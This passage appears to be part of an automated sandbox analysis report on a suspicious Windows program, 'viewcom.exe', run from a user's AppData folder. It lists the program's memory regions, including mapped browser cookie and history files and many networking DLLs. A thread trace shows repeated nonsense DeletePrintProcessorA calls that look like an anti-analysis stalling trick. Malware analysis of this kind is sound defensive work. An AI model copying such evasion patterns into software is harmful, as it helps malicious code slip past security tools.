name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1068
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1069
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1070
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1071
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1072
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1073
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1074
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1075
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1076
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1077
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1078
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1079
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1080
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1081
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1082
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1083
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1084
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1085
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1086
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1087
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1088
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1089
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1090
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1091
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1092
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1093
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1094
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1095
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1096
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1097
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1098
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1099
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1100
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1101
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1102
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1103
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1104
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1105
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1106
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1107
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1108
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1109
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1110
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1111
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1112
start_va = 0x300000
end_va = 0x301fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1113
start_va = 0x746f0000
end_va = 0x7488dfff
entry_point = 0x7471e6b5
region_type = mapped_file
name = "comctl32.dll"
filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")
Region:
id = 1114
start_va = 0x1930000
end_va = 0x1a2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001930000"
filename = ""
Region:
id = 1115
start_va = 0x310000
end_va = 0x310fff
entry_point = 0x310000
region_type = mapped_file
name = "windowsshell.manifest"
filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest")
Region:
id = 1116
start_va = 0x320000
end_va = 0x321fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000320000"
filename = ""
Region:
id = 1117
start_va = 0x310000
end_va = 0x31ffff
entry_point = 0x310000
region_type = mapped_file
name = "index.dat"
filename = "\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat")
Region:
id = 1118
start_va = 0x330000
end_va = 0x337fff
entry_point = 0x330000
region_type = mapped_file
name = "index.dat"
filename = "\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\atveydl98z\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat")
Region:
id = 1119
start_va = 0x350000
end_va = 0x35ffff
entry_point = 0x350000
region_type = mapped_file
name = "index.dat"
filename = "\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat")
Region:
id = 1120
start_va = 0x74460000
end_va = 0x74480fff
entry_point = 0x7446145e
region_type = mapped_file
name = "ntmarta.dll"
filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")
Region:
id = 1121
start_va = 0x76140000
end_va = 0x76184fff
entry_point = 0x761411e1
region_type = mapped_file
name = "wldap32.dll"
filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")
Region:
id = 1122
start_va = 0x75b20000
end_va = 0x75b54fff
entry_point = 0x75b2145d
region_type = mapped_file
name = "ws2_32.dll"
filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")
Region:
id = 1123
start_va = 0x75e20000
end_va = 0x75e25fff
entry_point = 0x75e21782
region_type = mapped_file
name = "nsi.dll"
filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")
Region:
id = 1124
start_va = 0x360000
end_va = 0x3bffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000360000"
filename = ""
Region:
id = 1125
start_va = 0x75060000
end_va = 0x750a3fff
entry_point = 0x750763f9
region_type = mapped_file
name = "dnsapi.dll"
filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")
Region:
id = 1126
start_va = 0x1a30000
end_va = 0x1c2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001a30000"
filename = ""
Region:
id = 1127
start_va = 0x74100000
end_va = 0x7411bfff
entry_point = 0x7410a431
region_type = mapped_file
name = "iphlpapi.dll"
filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")
Region:
id = 1128
start_va = 0x740f0000
end_va = 0x740f6fff
entry_point = 0x740f128d
region_type = mapped_file
name = "winnsi.dll"
filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")
Region:
id = 1129
start_va = 0x77700000
end_va = 0x77702fff
entry_point = 0x77700000
region_type = mapped_file
name = "normaliz.dll"
filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll")
Region:
id = 1130
start_va = 0x72fd0000
end_va = 0x73021fff
entry_point = 0x72fd14be
region_type = mapped_file
name = "rasapi32.dll"
filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")
Region:
id = 1131
start_va = 0x72fb0000
end_va = 0x72fc4fff
entry_point = 0x72fb12de
region_type = mapped_file
name = "rasman.dll"
filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")
Region:
id = 1132
start_va = 0x736d0000
end_va = 0x736dcfff
entry_point = 0x736d1326
region_type = mapped_file
name = "rtutils.dll"
filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")
Region:
id = 1133
start_va = 0x360000
end_va = 0x360fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000360000"
filename = ""
Region:
id = 1134
start_va = 0x380000
end_va = 0x3bffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000380000"
filename = ""
Region:
id = 1135
start_va = 0x360000
end_va = 0x360fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000360000"
filename = ""
Region:
id = 1136
start_va = 0x72470000
end_va = 0x72475fff
entry_point = 0x72470000
region_type = mapped_file
name = "sensapi.dll"
filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll")
Region:
id = 1137
start_va = 0x74230000
end_va = 0x7423ffff
entry_point = 0x742338c1
region_type = mapped_file
name = "nlaapi.dll"
filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")
Region:
id = 1138
start_va = 0x1a30000
end_va = 0x1acffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001a30000"
filename = ""
Region:
id = 1139
start_va = 0x1bf0000
end_va = 0x1c2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001bf0000"
filename = ""
Region:
id = 1140
start_va = 0x1ad0000
end_va = 0x1baffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001ad0000"
filename = ""
Region:
id = 1141
start_va = 0x1c30000
end_va = 0x1dbffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001c30000"
filename = ""
Region:
id = 1142
start_va = 0x1c30000
end_va = 0x1d2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001c30000"
filename = ""
Region:
id = 1143
start_va = 0x1dc0000
end_va = 0x1ebffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001dc0000"
filename = ""
Region:
id = 1144
start_va = 0x7ffd8000
end_va = 0x7ffd8fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd8000"
filename = ""
Region:
id = 1145
start_va = 0x7ffd9000
end_va = 0x7ffd9fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd9000"
filename = ""
Region:
id = 1146
start_va = 0x6da20000
end_va = 0x6da25fff
entry_point = 0x6da214b2
region_type = mapped_file
name = "rasadhlp.dll"
filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")
Region:
id = 1147
start_va = 0x1ec0000
end_va = 0x1fbffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001ec0000"
filename = ""
Region:
id = 1148
start_va = 0x73880000
end_va = 0x7388ffff
entry_point = 0x73880000
region_type = mapped_file
name = "napinsp.dll"
filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll")
Region:
id = 1149
start_va = 0x7ffd7000
end_va = 0x7ffd7fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd7000"
filename = ""
Region:
id = 1150
start_va = 0x73860000
end_va = 0x73871fff
entry_point = 0x73860000
region_type = mapped_file
name = "pnrpnsp.dll"
filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll")
Region:
id = 1151
start_va = 0x751a0000
end_va = 0x751dbfff
entry_point = 0x751a145d
region_type = mapped_file
name = "mswsock.dll"
filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")
Region:
id = 1152
start_va = 0x73850000
end_va = 0x73857fff
entry_point = 0x73850000
region_type = mapped_file
name = "winrnr.dll"
filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll")
Region:
id = 1153
start_va = 0x74cf0000
end_va = 0x74cf4fff
entry_point = 0x74cf15df
region_type = mapped_file
name = "wshtcpip.dll"
filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")
Region:
id = 1154
start_va = 0x75190000
end_va = 0x75195fff
entry_point = 0x75191673
region_type = mapped_file
name = "wship6.dll"
filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")
Region:
id = 1155
start_va = 0x73fe0000
end_va = 0x74017fff
entry_point = 0x73fe990e
region_type = mapped_file
name = "fwpuclnt.dll"
filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")
Region:
id = 1156
start_va = 0x370000
end_va = 0x370fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000370000"
filename = ""
Region:
id = 1157
start_va = 0x1310000
end_va = 0x134ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001310000"
filename = ""
Region:
id = 1158
start_va = 0x76460000
end_va = 0x764e2fff
entry_point = 0x764623d2
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")
Region:
id = 1159
start_va = 0x3c0000
end_va = 0x3c0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000003c0000"
filename = ""
Region:
id = 1160
start_va = 0x6fbf0000
end_va = 0x6fc49fff
entry_point = 0x6fbf1f35
region_type = mapped_file
name = "netprofm.dll"
filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")
Region:
id = 1161
start_va = 0x75700000
end_va = 0x7570dfff
entry_point = 0x75701235
region_type = mapped_file
name = "rpcrtremote.dll"
filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")
Region:
id = 1162
start_va = 0x1fc0000
end_va = 0x20bffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001fc0000"
filename = ""
Region:
id = 1163
start_va = 0x6c840000
end_va = 0x6c847fff
entry_point = 0x6c842ca6
region_type = mapped_file
name = "npmproxy.dll"
filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")
Region:
id = 1164
start_va = 0x7ffd6000
end_va = 0x7ffd6fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd6000"
filename = ""
Region:
id = 1291
start_va = 0x73fa0000
end_va = 0x73fb1fff
entry_point = 0x73fa3271
region_type = mapped_file
name = "dhcpcsvc.dll"
filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")
Region:
id = 1292
start_va = 0x73fc0000
end_va = 0x73fccfff
entry_point = 0x73fc2012
region_type = mapped_file
name = "dhcpcsvc6.dll"
filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")
Region:
id = 1293
start_va = 0x3d0000
end_va = 0x3f3fff
entry_point = 0x0
region_type = private
name = "private_0x00000000003d0000"
filename = ""
Region:
id = 1294
start_va = 0x1ad0000
end_va = 0x1b6efff
entry_point = 0x0
region_type = private
name = "private_0x0000000001ad0000"
filename = ""
Region:
id = 1295
start_va = 0x1ba0000
end_va = 0x1baffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001ba0000"
filename = ""
Region:
id = 1296
start_va = 0x20c0000
end_va = 0x21bffff
entry_point = 0x0
region_type = private
name = "private_0x00000000020c0000"
filename = ""
Region:
id = 1297
start_va = 0x21c0000
end_va = 0x22bffff
entry_point = 0x0
region_type = private
name = "private_0x00000000021c0000"
filename = ""
Region:
id = 1298
start_va = 0x22c0000
end_va = 0x23bffff
entry_point = 0x0
region_type = private
name = "private_0x00000000022c0000"
filename = ""
Region:
id = 1299
start_va = 0x7ffd4000
end_va = 0x7ffd4fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd4000"
filename = ""
Region:
id = 1300
start_va = 0x7ffd5000
end_va = 0x7ffd5fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd5000"
filename = ""
Region:
id = 1301
start_va = 0x1a30000
end_va = 0x1a90fff
entry_point = 0x0
region_type = private
name = "private_0x0000000001a30000"
filename = ""
Region:
id = 1302
start_va = 0x1ac0000
end_va = 0x1acffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001ac0000"
filename = ""
Region:
id = 1303
start_va = 0x23c0000
end_va = 0x24bffff
entry_point = 0x0
region_type = private
name = "private_0x00000000023c0000"
filename = ""
Region:
id = 1304
start_va = 0x7ffd3000
end_va = 0x7ffd3fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd3000"
filename = ""
Region:
id = 1305
start_va = 0x1aa0000
end_va = 0x1abdfff
entry_point = 0x0
region_type = private
name = "private_0x0000000001aa0000"
filename = ""
Region:
id = 1306
start_va = 0x24c0000
end_va = 0x25bffff
entry_point = 0x0
region_type = private
name = "private_0x00000000024c0000"
filename = ""
Region:
id = 1307
start_va = 0x7ffaf000
end_va = 0x7ffaffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffaf000"
filename = ""
Region:
id = 1308
start_va = 0x1300000
end_va = 0x1305fff
entry_point = 0x0
region_type = private
name = "private_0x0000000001300000"
filename = ""
Region:
id = 1309
start_va = 0x25c0000
end_va = 0x26bffff
entry_point = 0x0
region_type = private
name = "private_0x00000000025c0000"
filename = ""
Region:
id = 1310
start_va = 0x7ffae000
end_va = 0x7ffaefff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffae000"
filename = ""
Region:
id = 1311
start_va = 0x26c0000
end_va = 0x27bffff
entry_point = 0x0
region_type = private
name = "private_0x00000000026c0000"
filename = ""
Region:
id = 1312
start_va = 0x7ffad000
end_va = 0x7ffadfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffad000"
filename = ""
Region:
id = 1313
start_va = 0x70f40000
end_va = 0x70f51fff
entry_point = 0x70f41200
region_type = mapped_file
name = "mpr.dll"
filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll")
Region:
id = 1314
start_va = 0x73eb0000
end_va = 0x73ec0fff
entry_point = 0x73eb0000
region_type = mapped_file
name = "netapi32.dll"
filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll")
Region:
id = 1315
start_va = 0x73ea0000
end_va = 0x73ea8fff
entry_point = 0x73ea15a6
region_type = mapped_file
name = "netutils.dll"
filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")
Region:
id = 1316
start_va = 0x755b0000
end_va = 0x755c8fff
entry_point = 0x755b1319
region_type = mapped_file
name = "srvcli.dll"
filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")
Region:
id = 1317
start_va = 0x73e90000
end_va = 0x73e9efff
entry_point = 0x73e90000
region_type = mapped_file
name = "wkscli.dll"
filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")
Region:
id = 1318
start_va = 0x73800000
end_va = 0x7380efff
entry_point = 0x73800000
region_type = mapped_file
name = "samcli.dll"
filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll")
Region:
id = 1319
start_va = 0x1ad0000
end_va = 0x1aebfff
entry_point = 0x0
region_type = private
name = "private_0x0000000001ad0000"
filename = ""
Region:
id = 1329
start_va = 0x1af0000
end_va = 0x1b4afff
entry_point = 0x0
region_type = private
name = "private_0x0000000001af0000"
filename = ""
Region:
id = 1402
start_va = 0x1b50000
end_va = 0x1b68fff
entry_point = 0x0
region_type = private
name = "private_0x0000000001b50000"
filename = ""
Region:
id = 1418
start_va = 0x1b70000
end_va = 0x1b76fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001b70000"
filename = ""
Region:
id = 1419
start_va = 0x1b80000
end_va = 0x1b81fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001b80000"
filename = ""
Region:
id = 1420
start_va = 0x27c0000
end_va = 0x28bffff
entry_point = 0x0
region_type = private
name = "private_0x00000000027c0000"
filename = ""
Region:
id = 1421
start_va = 0x28c0000
end_va = 0x2cb2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000028c0000"
filename = ""
Region:
id = 1422
start_va = 0x72990000
end_va = 0x72997fff
entry_point = 0x72990000
region_type = mapped_file
name = "drprov.dll"
filename = "\\Windows\\System32\\drprov.dll" (normalized: "c:\\windows\\system32\\drprov.dll")
Region:
id = 1423
start_va = 0x7ffac000
end_va = 0x7ffacfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffac000"
filename = ""
Region:
id = 1449
start_va = 0x756d0000
end_va = 0x756f8fff
entry_point = 0x756d6b19
region_type = mapped_file
name = "winsta.dll"
filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")
Region:
id = 1455
start_va = 0x2cc0000
end_va = 0x2dbffff
entry_point = 0x0
region_type = private
name = "private_0x0000000002cc0000"
filename = ""
Region:
id = 1456
start_va = 0x727f0000
end_va = 0x72803fff
entry_point = 0x727f0000
region_type = mapped_file
name = "ntlanman.dll"
filename = "\\Windows\\System32\\ntlanman.dll" (normalized: "c:\\windows\\system32\\ntlanman.dll")
Region:
id = 1457
start_va = 0x7ffab000
end_va = 0x7ffabfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffab000"
filename = ""
Region:
id = 1458
start_va = 0x721b0000
end_va = 0x721c6fff
entry_point = 0x721b0000
region_type = mapped_file
name = "davclnt.dll"
filename = "\\Windows\\System32\\davclnt.dll" (normalized: "c:\\windows\\system32\\davclnt.dll")
Region:
id = 1472
start_va = 0x6d520000
end_va = 0x6d527fff
entry_point = 0x6d520000
region_type = mapped_file
name = "davhlpr.dll"
filename = "\\Windows\\System32\\davhlpr.dll" (normalized: "c:\\windows\\system32\\davhlpr.dll")
Region:
id = 1473
start_va = 0x6e620000
end_va = 0x6e62afff
entry_point = 0x6e621200
region_type = mapped_file
name = "cscapi.dll"
filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll")
Region:
id = 1474
start_va = 0x6d510000
end_va = 0x6d51cfff
entry_point = 0x6d510000
region_type = mapped_file
name = "browcli.dll"
filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll")
Region:
id = 1657
start_va = 0x2dc0000
end_va = 0x2e7ffff
entry_point = 0x2dc0000
region_type = mapped_file
name = "kernelbase.dll.mui"
filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")
Region:
id = 1658
start_va = 0x1ad0000
end_va = 0x1ad0fff
entry_point = 0x1ad0000
region_type = mapped_file
name = "9f1b.tmp"
filename = "\\ProgramData\\9F1B.tmp" (normalized: "c:\\programdata\\9f1b.tmp")
Thread:
id = 47
os_tid = 0xb9c
[0064.884] GetCommandLineA () returned="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\""
[0064.884] lstrlenA (lpString="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\"") returned 65
[0064.884] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.891] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.891] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.892] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.892] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.892] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.892] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.892] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.892] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.892] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.893] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.893] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.894] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.894] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.894] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.894] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.894] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.894] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.895] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.895] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.895] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.895] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.895] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.895] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
